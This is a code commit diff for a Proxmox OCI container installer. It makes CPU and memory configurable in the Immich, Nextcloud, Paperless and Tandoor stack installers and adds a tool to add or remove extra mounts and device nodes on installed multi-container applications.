feat(oci): Recreate for multi-container apps and CPU/memory in every advanced install

oci/remote/install_immich_stack.sh

@@ -120,6 +120,11 @@ MEDIA_STORAGE=$(jq -r '.media.storage // empty' "$DEPLOYMENT_FILE")
 MEDIA_SIZE=$(jq -r '.media.size_gb // empty' "$DEPLOYMENT_FILE")
 MEDIA_ROOT=$(jq -r '.media.host_path // empty' "$DEPLOYMENT_FILE")
 TIMEZONE=$(jqr '.timezone')
+APPLICATION_CORES=$(jqr '.resources.cores // 4')
+APPLICATION_MEMORY=$(jqr '.resources.memory_mb // 3072')
+APPLICATION_SWAP=$(jqr '.resources.swap_mb // 1024')
+[[ $APPLICATION_CORES =~ ^[1-9][0-9]*$ && $APPLICATION_MEMORY =~ ^[1-9][0-9]*$ && $APPLICATION_SWAP =~ ^[0-9]+$ ]] \
+  || die "$(translate "Invalid resources")"
 ONBOOT=$(jqr '.onboot | if . then 1 else 0 end')
 START_AFTER=$(jqr '.start_after_create | if . then 1 else 0 end')
 FRONTEND_BRIDGE=$(jqr '.network.frontend_bridge')
@@ -449,13 +454,15 @@ fi
 msg_info "$(translate "Creating the container...")"
 oci_create_container "$SERVER_ID" "$SERVER_ARCHIVE" --rootfs "${ROOTFS_STORAGE}:16" \
   --mp0 "$SERVER_MEDIA_MOUNT" --hostname "${STACK_NAME}-server" \
-  --cores 4 --memory 3072 --swap 1024 \
+  --cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY" --swap "$APPLICATION_SWAP" \
   --net0 "name=eth0,bridge=${FRONTEND_BRIDGE},firewall=1,host-managed=1,${FRONTEND_NET},type=veth" \
   --net1 "name=eth1,bridge=${PRIVATE_BRIDGE},firewall=1,host-managed=1,ip=${SERVER_ADDRESS},type=veth" \
   "${SERVER_DEVICE_ARGS[@]}" --unprivileged 1 --features nesting=1 --cmode console \
   --onboot "$ONBOOT" --startup order=40,up=10,down=30 --tags "$TAGS" \
   --description 'Immich server native OCI'
 created_ids+=("$SERVER_ID")
+oci_apply_extra_mounts "$SERVER_ID"
+oci_apply_extra_devices "$SERVER_ID"
 
 oci_quiet pct mount "$SERVER_ID"
 SERVER_ROOT="/var/lib/lxc/${SERVER_ID}/rootfs"

oci/remote/install_nextcloud_stack.sh

@@ -116,6 +116,11 @@ APACHE_BODY_LIMIT=$(jqr '.application.apache_body_limit')
 TIMEZONE=$(jqr '.timezone')
 MAINTENANCE_WINDOW=$(jqr '.maintenance_window_start_utc')
 PHONE_REGION=$(jqr '.default_phone_region')
+APPLICATION_CORES=$(jqr '.resources.cores // 2')
+APPLICATION_MEMORY=$(jqr '.resources.memory_mb // 2048')
+APPLICATION_SWAP=$(jqr '.resources.swap_mb // 1024')
+[[ $APPLICATION_CORES =~ ^[1-9][0-9]*$ && $APPLICATION_MEMORY =~ ^[1-9][0-9]*$ && $APPLICATION_SWAP =~ ^[0-9]+$ ]] \
+  || die "$(translate "Invalid resources")"
 ONBOOT=$(jqr '.onboot | if . then 1 else 0 end')
 START_AFTER=$(jqr '.start_after_create | if . then 1 else 0 end')
 FRONTEND_BRIDGE=$(jqr '.network.frontend_bridge')
@@ -395,13 +400,15 @@ msg_ok "$(translate "Container created:") CT $CACHE_ID (Redis)"
 msg_info "$(translate "Creating the container...")"
 oci_create_container "$APPLICATION_ID" "$APPLICATION_ARCHIVE" --rootfs "${ROOTFS_STORAGE}:8" \
   --mp0 "$APPLICATION_MOUNT" --hostname "$STACK_NAME" \
-  --cores 2 --memory 2048 --swap 1024 \
+  --cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY" --swap "$APPLICATION_SWAP" \
   --net0 "name=eth0,bridge=${FRONTEND_BRIDGE},firewall=1,host-managed=1,${FRONTEND_NET},type=veth" \
   --net1 "name=eth1,bridge=${PRIVATE_BRIDGE},firewall=1,host-managed=1,ip=${APPLICATION_ADDRESS},type=veth" \
   --unprivileged 1 --features nesting=1 --cmode console --onboot "$ONBOOT" \
   --startup order=30,up=15,down=30 --tags "$TAGS" \
   --description 'Nextcloud Apache native OCI'
 created_ids+=("$APPLICATION_ID")
+oci_apply_extra_mounts "$APPLICATION_ID"
+oci_apply_extra_devices "$APPLICATION_ID"
 
 oci_quiet pct mount "$APPLICATION_ID"
 APPLICATION_ROOTFS="/var/lib/lxc/${APPLICATION_ID}/rootfs"

oci/remote/install_paperless_stack.sh

@@ -116,6 +116,11 @@ TRANSFER_ROOT=$(jq -r '.transfer.host_path // empty' "$DEPLOYMENT_FILE")
 ADMIN_USERNAME=$(jqr '.application.admin_username')
 OCR_LANGUAGE=$(jqr '.application.ocr_language')
 TIMEZONE=$(jqr '.timezone')
+APPLICATION_CORES=$(jqr '.resources.cores // 2')
+APPLICATION_MEMORY=$(jqr '.resources.memory_mb // 2048')
+APPLICATION_SWAP=$(jqr '.resources.swap_mb // 1024')
+[[ $APPLICATION_CORES =~ ^[1-9][0-9]*$ && $APPLICATION_MEMORY =~ ^[1-9][0-9]*$ && $APPLICATION_SWAP =~ ^[0-9]+$ ]] \
+  || die "$(translate "Invalid resources")"
 ONBOOT=$(jqr '.onboot | if . then 1 else 0 end')
 START_AFTER=$(jqr '.start_after_create | if . then 1 else 0 end')
 FRONTEND_BRIDGE=$(jqr '.network.frontend_bridge')
@@ -414,13 +419,15 @@ oci_create_container "$APPLICATION_ID" "$APPLICATION_ARCHIVE" --rootfs "${ROOTFS
   --mp0 "${APPLICATION_STORAGE}:${DATA_SIZE},mp=/usr/src/paperless/data,backup=1" \
   --mp1 "${APPLICATION_STORAGE}:${MEDIA_SIZE},mp=/usr/src/paperless/media,backup=1" \
   --mp2 "$EXPORT_MOUNT" --mp3 "$CONSUME_MOUNT" --hostname "$STACK_NAME" \
-  --cores 2 --memory 2048 --swap 1024 \
+  --cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY" --swap "$APPLICATION_SWAP" \
   --net0 "name=eth0,bridge=${FRONTEND_BRIDGE},firewall=1,host-managed=1,${FRONTEND_NET},type=veth" \
   --net1 "name=eth1,bridge=${PRIVATE_BRIDGE},firewall=1,host-managed=1,ip=${APPLICATION_ADDRESS},type=veth" \
   --unprivileged 1 --features nesting=1 --cmode console --onboot "$ONBOOT" \
   --startup order=30,up=15,down=30 --tags "$TAGS" \
   --description 'Paperless-ngx native OCI'
 created_ids+=("$APPLICATION_ID")
+oci_apply_extra_mounts "$APPLICATION_ID"
+oci_apply_extra_devices "$APPLICATION_ID"
 
 oci_quiet pct mount "$APPLICATION_ID"
 APPLICATION_ROOTFS="/var/lib/lxc/${APPLICATION_ID}/rootfs"

oci/remote/install_tandoor_stack.sh

@@ -129,6 +129,11 @@ ALLOWED_HOSTS=$(jqr '.application.allowed_hosts')
 ADMIN_USERNAME=$(jqr '.application.admin_username')
 ADMIN_EMAIL=$(jqr '.application.admin_email')
 TIMEZONE=$(jqr '.timezone')
+APPLICATION_CORES=$(jqr '.resources.cores // 2')
+APPLICATION_MEMORY=$(jqr '.resources.memory_mb // 2048')
+APPLICATION_SWAP=$(jqr '.resources.swap_mb // 512')
+[[ $APPLICATION_CORES =~ ^[1-9][0-9]*$ && $APPLICATION_MEMORY =~ ^[1-9][0-9]*$ && $APPLICATION_SWAP =~ ^[0-9]+$ ]] \
+  || die "$(translate "Invalid resources")"
 ONBOOT=$(jqr '.onboot | if . then 1 else 0 end')
 START_AFTER=$(jqr '.start_after_create | if . then 1 else 0 end')
 FRONTEND_BRIDGE=$(jqr '.network.frontend_bridge')
@@ -392,13 +397,15 @@ msg_info "$(translate "Creating the container...")"
 oci_create_container "$APPLICATION_ID" "$APPLICATION_ARCHIVE" --rootfs "${ROOTFS_STORAGE}:8" \
   --mp0 "${APPLICATION_STORAGE}:${STATIC_SIZE},mp=/opt/recipes/staticfiles,backup=1" \
   --mp1 "$MEDIA_MOUNT" --hostname "$STACK_NAME" \
-  --cores 2 --memory 2048 --swap 512 \
+  --cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY" --swap "$APPLICATION_SWAP" \
   --net0 "name=eth0,bridge=${FRONTEND_BRIDGE},firewall=1,host-managed=1,${FRONTEND_NET},type=veth" \
   --net1 "name=eth1,bridge=${PRIVATE_BRIDGE},firewall=1,host-managed=1,ip=${APPLICATION_ADDRESS},type=veth" \
   --unprivileged 1 --features nesting=1 --cmode console --onboot "$ONBOOT" \
   --startup order=20,up=15,down=30 --tags "$TAGS" \
   --description 'Tandoor Recipes native OCI'
 created_ids+=("$APPLICATION_ID")
+oci_apply_extra_mounts "$APPLICATION_ID"
+oci_apply_extra_devices "$APPLICATION_ID"
 
 oci_quiet pct mount "$APPLICATION_ID"
 APPLICATION_ROOTFS="/var/lib/lxc/${APPLICATION_ID}/rootfs"

oci/remote/oci_console.py

@@ -20,6 +20,7 @@ import contextlib
 import json
 import os
 from pathlib import Path
+import re
 import subprocess
 import sys
 
@@ -42,6 +43,12 @@ def start_mark_hook(vmid: int) -> str:
     # `test`, not `[`: a bracket in the configuration reads as a snapshot section.
     return (f"lxc.hook.pre-start: /bin/sh -c 'mkdir -p {LOG_DIR}; "
             f"test -x {script} && {script} {int(vmid)}; exit 0'")
+
+
+def is_start_mark_hook(line: str) -> bool:
+    """Whether a configuration line is exactly the start hook written here."""
+    vmid = re.search(r" (\d+); exit 0'$", line)
+    return bool(vmid) and line == start_mark_hook(int(vmid[1]))
 LOGROTATE = Path('/etc/logrotate.d/proxmenux-oci')
 # copytruncate, because liblxc keeps the file open for as long as the
 # container runs; moving it away would leave the application writing into the

oci/remote/oci_nvidia_dynamic.py

@@ -6,7 +6,6 @@ the same profile.
 """
 from pathlib import Path
 import hashlib
-import re
 
 import oci_console
 import oci_nvidia_runtime as nv
@@ -15,8 +14,7 @@ from oci_ui import translate
 
 def console_start_hook(value):
     """The hook ProxMenux adds to mark each start in the console log."""
-    vmid = re.search(r' (\d+); exit 0\'$', value)
-    return bool(vmid) and oci_console.start_mark_hook(int(vmid[1])) == f'lxc.hook.pre-start: {value}'
+    return oci_console.is_start_mark_hook(f'lxc.hook.pre-start: {value}')
 
 
 def gpu_identity(inventory):

oci/remote/oci_stack_modify.py

@@ -0,0 +1,255 @@
+#!/usr/bin/env python3
+"""Add or remove the extra paths and devices of one member of an installed
+multi-container application, without rebuilding any of its containers."""
+from __future__ import annotations
+
+import argparse
+import json
+import os
+from pathlib import Path
+import re
+import subprocess
+import sys
+import time
+
+import oci_gpu_devices as gpu_devices
+import oci_host_mounts as host_mounts
+import oci_instance_reconcile as reconcile
+import oci_instances as instances
+import oci_stack_replay as replay
+from oci_ui import msg_error, msg_info, msg_ok, translate
+
+CONVERTERS = {'install_nextcloud_stack.sh': replay.nextcloud_record,
+              'install_paperless_stack.sh': replay.paperless_record,
+              'install_tandoor_stack.sh': replay.tandoor_record,
+              'install_immich_stack.sh': replay.immich_record}
+
+
+def run(*command):
+    result = subprocess.run(command, capture_output=True, text=True, check=False)
+    if result.returncode != 0:
+        detail = (result.stderr or result.stdout).strip().splitlines()[-1:] or ['']
+        raise RuntimeError(f"{' '.join(command[:3])}: {detail[0]}")
+    return result.stdout
+
+
+def entries(vmid, prefix):
+    """The `prefix`N lines of the container configuration, in order."""
+    result = {}
+    for line in run('pct', 'config', str(vmid)).splitlines():
+        key, separator, value = line.partition(': ')
+        if separator and re.fullmatch(prefix + '[0-9]+', key):
+            result[key] = value
+    return result
+
+
+def options(value):
+    return dict(part.split('=', 1) for part in value.split(',')[1:] if '=' in part)
+
+
+def free_key(vmid, prefix):
+    used = entries(vmid, prefix)
+    return next(f'{prefix}{index}' for index in range(256) if f'{prefix}{index}' not in used)
+
+
+def device_path(value):
+    fields = dict(part.split('=', 1) for part in value.split(',') if '=' in part)
+    return fields.get('path') or value.split(',', 1)[0]
+
+
+def validate(vmid, changes):
+    """Everything that can be refused is refused before the container stops."""
+    mounts = {options(value).get('mp'): (key, value) for key, value in entries(vmid, 'mp').items()}
+    devices = {device_path(value): key for key, value in entries(vmid, 'dev').items()}
+    for path in changes['remove_mounts']:
+        if path not in mounts:
+            raise ValueError(f"{translate('The path to remove is not mounted:')} {path}")
+    for path in changes['remove_devices']:
+        if path not in devices:
+            raise ValueError(f"{translate('The device to remove is not attached:')} {path}")
+    kept = [path for path in mounts if path not in changes['remove_mounts']]
+    for mount in changes['add_mounts']:
+        target = host_mounts.valid_path(mount['container_path'])
+        if any(target == other or target.startswith(other.rstrip('/') + '/')
+               or other.startswith(target.rstrip('/') + '/') for other in kept):
+            raise ValueError(f"{translate('The custom path overlaps another mount')}: {target}")
+        kept.append(target)
+        if mount['type'] == 'managed-volume':
+            if not isinstance(mount.get('size_gb'), int) or mount['size_gb'] < 1 \
+                    or not re.fullmatch(r'[A-Za-z0-9_-]+', mount.get('source') or ''):
+                raise ValueError(f"{translate('Invalid volume size:')} {target}")
+        elif mount['type'] == 'host-bind':
+            host_mounts.validate_source(mount['source'], allow_missing=True)
+        else:
+            raise ValueError(f"{translate('Unsupported mount type:')} {mount['type']}")
+    for device in changes['add_devices']:
+        path = device.get('host_path')
+        if device.get('kind') != 'character-device' or not (
+                gpu_devices.gpu_path(path) or gpu_devices.peripheral_path(path)):
+            raise ValueError(f"{translate('Device outside the supported profiles; NVIDIA and device trees require another profile')}: {path}")
+        if path in devices and path not in changes['remove_devices']:
+            raise ValueError(f"{translate('This device is already attached')}: {path}")
+        gpu_devices.snapshot(path)
+
+
+def apply(vmid, changes):
+    for mount in changes['add_mounts']:
+        target = mount['container_path']
+        if mount['type'] == 'managed-volume':
+            value = f"{mount['source']}:{mount['size_gb']},mp={target},backup=1"
+        else:
+            source = Path(mount['source'])
+            if not source.exists():
+                source.mkdir(parents=True, mode=0o775)
+                os.chown(source, 100000, 100000)
+            value = f"{source},mp={target},backup=0"
+        if mount.get('read_only'):
+            value += ',ro=1'
+        run('pct', 'set', str(vmid), '--' + free_key(vmid, 'mp'), value)
+        msg_ok(f"{translate('Path added:')} {target}")
+    for path in changes['remove_devices']:
+        key = next(key for key, value in entries(vmid, 'dev').items() if device_path(value) == path)
+        run('pct', 'set', str(vmid), '--delete', key)
+        msg_ok(f"{translate('Device removed:')} {path}")
+    for device in changes['add_devices']:
+        path = device['host_path']
+        value = (f"path={path},mode={device.get('mode', '0660')},"
+                 f"deny-write={'1' if device.get('deny_write') else '0'},gid={os.stat(path).st_gid}")
+        run('pct', 'set', str(vmid), '--' + free_key(vmid, 'dev'), value)
+        msg_ok(f"{translate('Device added:')} {path}")
+    for path in changes['remove_mounts']:
+        key, value = next((key, value) for key, value in entries(vmid, 'mp').items()
+                          if options(value).get('mp') == path)
+        source = value.split(',', 1)[0]
+        run('pct', 'set', str(vmid), '--delete', key)
+        if not source.startswith('/'):
+            # A detached disk would be destroyed with the container on its next
+            # update, so the volume of a removed path is deleted here, as confirmed.
+            unused = next((key for key, value in entries(vmid, 'unused').items() if value == source), None)
+            if unused:
+                run('pct', 'set', str(vmid), '--delete', unused)
+        msg_ok(f"{translate('Path removed:')} {path}")
+
+
+def recorded_mounts(vmid):
+    """The mounts of a member as its installation recorded them."""
+    result = []
+    for value in entries(vmid, 'mp').values():
+        source = value.split(',', 1)[0]
+        mount = options(value)
+        result.append({'container_path': mount['mp'], 'source': source,
+                       'type': 'host-bind' if source.startswith('/') else 'managed-volume',
+                       'backup': mount.get('backup') == '1', 'read_only': mount.get('ro') == '1',
+                       'existing_volume': True})
+    return result
+
+
+def register(root, vmid):
+    """Record the member as it is now, the way a stack update leaves it, and
+    refresh the copy its main container keeps."""
+    record = instances.read(root, vmid)
+    previous = record['observed']
+    record['observed'] = instances.observe(vmid, record['installation_id'], previous['archive_path'],
+                                           previous['resolved_registry_digest'], previous['image'])
+    plan = record['deployment']
+    adapter = (plan.get('replay_profile') or {}).get('adapter')
+    if adapter in CONVERTERS:
+        if 'native_config' in plan:
+            plan['native_config'] = record['observed']['config']
+            if 'member_replay_projection' in plan:
+                plan['member_replay_projection'] = replay.normalize(record)
+            plan['mounts'] = recorded_mounts(vmid)
+        else:
+            converted = CONVERTERS[adapter](record)
+            plan['mounts'] = converted['deployment']['mounts']
+            plan['devices'] = converted['deployment'].get('devices', [])
+            # The paths an update must find are the ones mounted now.
+            record['template']['container_contract']['volumes'] = \
+                converted['template']['container_contract']['volumes']
+        # The stack must stay updatable with what was just changed.
+        CONVERTERS[adapter](record)
+    else:
+        known = {mount['container_path']: mount for mount in plan.get('mounts', [])}
+        plan['mounts'] = [known.get(options(value).get('mp')) or reconcile._mount(key, value, vmid)
+                          for key, value in entries(vmid, 'mp').items()]
+        attached = {device_path(value): (key, value) for key, value in entries(vmid, 'dev').items()}
+        kept = [device for device in plan.get('devices', [])
+                if device.get('kind') != 'character-device' or device.get('host_path') in attached]
+        listed = {device.get('host_path') for device in kept}
+        plan['devices'] = kept + [reconcile._device(key, value) for path, (key, value) in attached.items()
+                                  if path not in listed and (gpu_devices.gpu_path(path)
+                                                             or gpu_devices.peripheral_path(path))]
+    instances.write(instances.location(root, vmid), record)
+    primary_id = (record.get('stack_member') or {}).get('primary_vmid', vmid)
+    primary = instances.read(root, primary_id)
+    snapshot = instances.read(root, vmid)
+    snapshot.pop('stack', None)
+    members = primary.get('stack', {}).get('members', [])
+    for index, member in enumerate(members):
+        if member.get('vmid') == vmid:
+            members[index] = snapshot
+    instances.write(instances.location(root, primary_id), primary)
+
+
+def is_running(vmid):
+    return 'running' in run('pct', 'status', str(vmid))
+
+
+def modify(root, vmid, changes):
+    record = instances.read(root, vmid)
+    if record.get('status') != 'installed' or record.get('pending_transaction') \
+            or record.get('pending_stack_transaction'):
+        raise ValueError(translate('The container has an operation pending; finish or recover it first'))
+    if not (record.get('stack_member') or record.get('stack')):
+        raise ValueError(translate('This container is not a member of a multi-container application'))
+    if instances.identity(instances.command('pct', 'config', str(vmid))) != record['installation_id']:
+        raise ValueError(translate('The container identity does not match'))
+    validate(vmid, changes)
+    backup = instances.location(root, vmid).parent / f"config-before-recreate-{time.strftime('%Y%m%d-%H%M%S')}.conf"
+    backup.write_text(run('pct', 'config', str(vmid)))
+    backup.chmod(0o600)
+    running = is_running(vmid)
+    if running:
+        msg_info(translate('Stopping the container...'))
+        try:
+            run('pct', 'shutdown', str(vmid), '--timeout', '60')
+        except RuntimeError:
+            run('pct', 'stop', str(vmid))
+        msg_ok(translate('Container stopped'))
+    try:
+        apply(vmid, changes)
+        msg_info(translate('Saving the new configuration of the application...'))
+        register(root, vmid)
+        msg_ok(translate('Configuration saved'))
+    finally:
+        if running:
+            msg_info(translate('Starting the container...'))
+            run('pct', 'start', str(vmid))
+            msg_ok(translate('Container started'))
+
+
+def main():
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument('vmid', type=int)
+    parser.add_argument('--changes', type=Path, required=True)
+    parser.add_argument('--root', type=Path, default=instances.ROOT)
+    args = parser.parse_args()
+    if os.geteuid() != 0:
+        parser.error(translate('Root privileges are required'))
+    changes = {'remove_mounts': [], 'add_mounts': [], 'remove_devices': [], 'add_devices': [],
+               **json.loads(args.changes.read_text())}
+    try:
+        with instances.locked(args.root):
+            modify(args.root, args.vmid, changes)
+    except BlockingIOError:
+        msg_error(translate('Another OCI operation is using the instance registry. Wait for it to finish.'))
+        return 1
+    except (OSError, ValueError, KeyError, RuntimeError, StopIteration, subprocess.TimeoutExpired) as error:
+        msg_error(f"{translate('The application could not be recreated:')} {error}")
+        return 1
+    msg_ok(translate('The application has been recreated with the new options.'))
+    return 0
+
+
+if __name__ == '__main__':
+    sys.exit(main())

oci/remote/oci_stack_replay.py

@@ -7,6 +7,8 @@ import stat
 import shlex
 import os
 
+import oci_console
+import oci_gpu_devices
 from oci_ui import translate
 
 
@@ -75,6 +77,9 @@ def immich_record(record):
         path = fields.get('path')
         if cuda and path and path.startswith('/dev/nvidia'):
             continue
+        if oci_gpu_devices.peripheral_path(path):
+            devices.append(peripheral_device(fields))
+            continue
         if not path or not re.fullmatch(r'/dev/dri/renderD[0-9]+', path):
             raise ValueError(translate('Immich device without a validated translation'))
         devices.append({'kind': 'character-device', 'host_path': path, 'container_path': path,
@@ -219,25 +224,59 @@ def adapter_prerequisites(rootfs, role, image, adapter, required):
     return checked
 
 
+def peripheral_device(fields):
+    """A native devN entry as the device the installer attaches again."""
+    path = fields['path']
+    device = {'id': 'native-' + path.removeprefix('/dev/').replace('/', '-'), 'kind': 'character-device',
+              'host_path': path, 'container_path': path, 'mode': fields.get('mode', '0660'),
+              'deny_write': fields.get('deny-write', '0') == '1',
+              'gid_strategy': 'host-device-gid' if 'gid' in fields else 'none'}
+    if 'uid' in fields:
+        device['uid'] = int(fields['uid'])
+    return device
+
+
+def translated_devices(projection):
+    """The devices of a member the update keeps: USB, serial and GPU nodes.
+    Anything else has no translation and stops the update before it starts."""
+    devices = []
+    for item in projection['native_devices']:
+        fields = dict(part.split('=', 1) for part in item['value'].split(',') if '=' in part)
+        path = fields.get('path')
+        if not (oci_gpu_devices.gpu_path(path) or oci_gpu_devices.peripheral_path(path)):
+            raise ValueError(translate('The stack contains devices or directives without a translation'))
+        devices.append(peripheral_device(fields))
+    return devices
+
+
+def with_devices(record, result):
+    result['deployment']['devices'] = translated_devices(normalize(record))
+    return result
+
+
 def nextcloud_record(record):
     """Build portable desired state from evidence, without writing the registry."""
-    return portable_record(record, nextcloud_installer_profile(record))
+    return with_devices(record, portable_record(record, nextcloud_installer_profile(record)))
 
 
 def paperless_record(record):
     """Translate captured Paperless state; native activation remains separate."""
-    return portable_record(record, paperless_installer_profile(record))
+    return with_devices(record, portable_record(record, paperless_installer_profile(record)))
 
 
 def tandoor_record(record):
     """Project the two-member Tandoor recipe without activating replacement."""
-    return portable_record(record, tandoor_installer_profile(record))
+    return with_devices(record, portable_record(record, tandoor_installer_profile(record)))
 
 
 def portable_record(record, profile):
     """Preserve data mounts and provenance without first-install preparations."""
     projection = normalize(record)
     saved = record['deployment'].get('member_replay_projection')
+    if saved is not None:
+        # A projection saved while the start hook was still listed carries it.
+        saved = dict(saved, preserved_raw_runtime=[line for line in saved.get('preserved_raw_runtime', [])
+                                                   if not oci_console.is_start_mark_hook(line)])
     if saved is not None and saved != projection:
         raise ValueError(translate('The saved projection does not match the native evidence'))
     result = copy.deepcopy(record)
@@ -297,8 +336,9 @@ def official_application_profile(record, adapter, adapted_entrypoints):
     recipe = record['deployment']['rootfs_replay']
     if recipe['adapter'] != adapter:
         raise ValueError(translate('Stack adapter not recognized by the translator'))
-    if projection.get('native_devices') or projection.get('preserved_raw_runtime'):
+    if projection.get('preserved_raw_runtime'):
         raise ValueError(translate('The stack contains devices or directives without a translation'))
+    translated_devices(projection)
     runtime = projection['runtime']
     entrypoint = runtime.get('entrypoint', '')
     if not entrypoint or '\0' in entrypoint or '\n' in entrypoint:
@@ -338,8 +378,9 @@ def nextcloud_installer_profile(record):
     recipe = record['deployment']['rootfs_replay']
     if recipe['adapter'] != 'install_nextcloud_stack.sh':
         raise ValueError(translate('This translator only supports the Nextcloud stack'))
-    if projection.get('native_devices') or projection.get('preserved_raw_runtime'):
+    if projection.get('preserved_raw_runtime'):
         raise ValueError(translate('The stack contains devices or directives without a translation'))
+    translated_devices(projection)
     runtime = projection['runtime']
     entrypoint = runtime.get('entrypoint', '')
     if not entrypoint or '\0' in entrypoint or '\n' in entrypoint:
@@ -563,11 +604,13 @@ def normalize(record):
     preserved = {key: single(key) for key in ('arch', 'ostype', 'cmode', 'console', 'tty', 'cpuunits',
                  'net0', 'net1', 'startup', 'hookscript', 'features', 'tags') if key in values}
     devices = [{'key': key, 'value': single(key)} for key in values if re.fullmatch(r'dev[0-9]+', key)]
-    # The console log line is not replayed: the installer that rebuilds the
-    # member sets it itself, and replaying it too would leave two of them.
+    # The console log line and its start hook are not replayed: the installer
+    # that rebuilds the member sets them itself, and replaying them too would
+    # leave two of each.
     raw_runtime = [line for line in config.splitlines() if line.startswith('lxc.')
                    and line.partition(': ')[0] not in ('lxc.environment.runtime', 'lxc.init.cwd',
-                                                       'lxc.signal.halt', 'lxc.console.logfile')]
+                                                       'lxc.signal.halt', 'lxc.console.logfile')
+                   and not oci_console.is_start_mark_hook(line)]
     return {'schema_version': 1, 'deployment': plan, 'runtime': runtime,
             'preserved_native': preserved, 'generated_files': copy.deepcopy(files),
             'native_devices': devices, 'preserved_raw_runtime': raw_runtime,

oci/remote/oci_ui.sh

@@ -158,6 +158,68 @@ oci_create_container() {
   return "$status"
 }
 
+# The extra paths the user added to the application container of a
+# multi-container application, from `.extra_mounts` of the deployment.
+# Argument: VMID. A path on the host is created for the root of the container.
+oci_apply_extra_mounts() {
+  local vmid=$1 type target source size read_only index value count=0
+  while IFS=$'\t' read -r type target source size read_only; do
+    [[ -n $type ]] || continue
+    [[ $target == /* && $target != *","* && $target != *[[:space:]]* ]] \
+      || die "$(translate "Invalid container path:") $target"
+    index=0
+    while pct config "$vmid" | grep -q "^mp${index}:"; do index=$((index + 1)); done
+    if [[ $type == managed-volume ]]; then
+      [[ $size =~ ^[0-9]+$ && $size -ge 1 && $source != /* && $source != *","* ]] \
+        || die "$(translate "Invalid volume size:") $target"
+      value="${source}:${size},mp=${target},backup=1"
+    elif [[ $type == host-bind ]]; then
+      [[ $source == /* && $source != *","* ]] || die "$(translate "Invalid host path:") $source"
+      if [[ ! -e $source ]]; then
+        install -d -m 0775 -o 100000 -g 100000 "$source"
+        oci_log "Shared directory created: $source (uid=100000 gid=100000)"
+      fi
+      [[ -d $source ]] || die "$(translate "The host bind source is not a regular file or directory:") $source"
+      value="${source},mp=${target},backup=0"
+    else
+      die "$(translate "Unsupported mount type:") $type"
+    fi
+    [[ $read_only == true ]] && value="${value},ro=1"
+    oci_quiet pct set "$vmid" "--mp${index}" "$value" \
+      || die "$(translate "Could not add the mount point:") $target"
+    count=$((count + 1))
+  done < <(jq -r '.extra_mounts[]? | [.type, .container_path, .source, (.size_gb // "-"), (.read_only // false)] | @tsv' "$DEPLOYMENT_FILE")
+  if (( count > 0 )); then
+    msg_ok "$(translate "Mount points added:") $count"
+  fi
+  return 0
+}
+
+# The USB, serial or GPU nodes the user added to the application container of
+# a multi-container application, from `.extra_devices` of the deployment.
+# Argument: VMID. Each node keeps its path, with the group it has on the host.
+oci_apply_extra_devices() {
+  local vmid=$1 path mode deny_write gid index count=0
+  while IFS=$'\t' read -r path mode deny_write; do
+    [[ -n $path ]] || continue
+    [[ $path == /dev/* && $path != *","* && $path != *[[:space:]]* && $path != *".."* ]] \
+      || die "$(translate "Invalid device path:") $path"
+    [[ -c $path ]] || die "$(translate "The character device does not exist:") $path"
+    [[ $mode =~ ^0?[0-7]{3}$ ]] || die "$(translate "Invalid device mode:") $mode"
+    pct config "$vmid" | grep -Eq "^dev[0-9]+: (.*,)?path=${path}(,|$)" && continue
+    index=0
+    while pct config "$vmid" | grep -q "^dev${index}:"; do index=$((index + 1)); done
+    gid=$(stat -c '%g' "$path")
+    oci_quiet pct set "$vmid" "--dev${index}" "path=${path},mode=${mode},deny-write=${deny_write},gid=${gid}" \
+      || die "$(translate "Could not add the device to the container:") $path"
+    count=$((count + 1))
+  done < <(jq -r '.extra_devices[]? | select(.kind == "character-device") | [.host_path, (.mode // "0660"), (if .deny_write then 1 else 0 end)] | @tsv' "$DEPLOYMENT_FILE")
+  if (( count > 0 )); then
+    msg_ok "$(translate "Devices added:") $count"
+  fi
+  return 0
+}
+
 # Last lines of the log, for the error report.
 oci_log_tail() {
   [[ -n $OCI_LOG && -s $OCI_LOG ]] || return 0

oci/src/proxmenux_oci/arr_suite.py

@@ -12,8 +12,11 @@ MEDIA_APPS = {'sonarr','radarr','lidarr','qbittorrent','sabnzbd','bazarr','unpac
 
 class SuiteChildUI(DefaultsUI):
     """Reuse image hardware questions without repeating the stack storage wizard."""
-    def __init__(self, ui, profile):
+    def __init__(self, ui, profile, label=''):
         self.ui = ui
+        self.label = label
+        # Each application of the suite asks its own CPU and memory.
+        self.resources = {translate('CPU cores'), translate('Memory in MB')}
         self.prompts = set()
         def visit(value):
             if isinstance(value, dict):
@@ -28,6 +31,8 @@ class SuiteChildUI(DefaultsUI):
         visit(profile)
 
     def ask(self, text, default=None, required=True):
+        if text in self.resources:
+            return self.ui.ask(f"{self.label}: {text}", default, required)
         return self.ui.ask(text,default,required) if text in self.prompts else super().ask(text,default,required)
 
     def choose(self, text, options, default=None):
@@ -56,12 +61,16 @@ def build_suite(template, ui, mode='advanced'):
         raise StackError(translate('Select at least one suite application'))
     if 'unpackerr' in selected and not set(selected) & {'sonarr','radarr','lidarr'}:
         raise StackError(translate('Unpackerr requires Sonarr, Radarr or Lidarr in this suite'))
-    name = _hostname_default(ui.ask(translate('Stack name'), 'suite-arr'))
-    base = ui.ask(translate('Base VMID (empty = next free block)'), '', required=False)
+    # A default installation takes the name, the VMID and the timezone from the
+    # recipe; it still asks the storage, the addresses and how the suite starts.
+    quiet = DefaultsUI() if mode == DEFAULT_MODE else ui
+    name = _hostname_default(quiet.ask(translate('Stack name'), 'suite-arr'))
+    base = quiet.ask(translate('Base VMID (empty = next free block)'), '', required=False)
     from . import host
     from . import network as access
     from .installer import ask_bridge, ask_storage
-    storage = ask_storage(ui, translate('Storage for rootfs and private configuration'), 'rootdir', 'local-lvm', mode)
+    storage = ask_storage(ui, translate('Storage for the containers and their data') if mode == DEFAULT_MODE
+                          else translate('Storage for rootfs and private configuration'), 'rootdir', 'local-lvm')
     cache = ask_storage(ui, translate('Storage for the OCI image cache'), 'vztmpl', 'local', mode)
     shared = ui.ask(translate('Shared host media directory'), '/mnt/oci-shared/media') if set(selected) & MEDIA_APPS else None
     if shared and (not shared.startswith('/') or shared == '/' or '..' in shared.split('/') or any(c in shared for c in ',\n\r')):
@@ -79,7 +88,7 @@ def build_suite(template, ui, mode='advanced'):
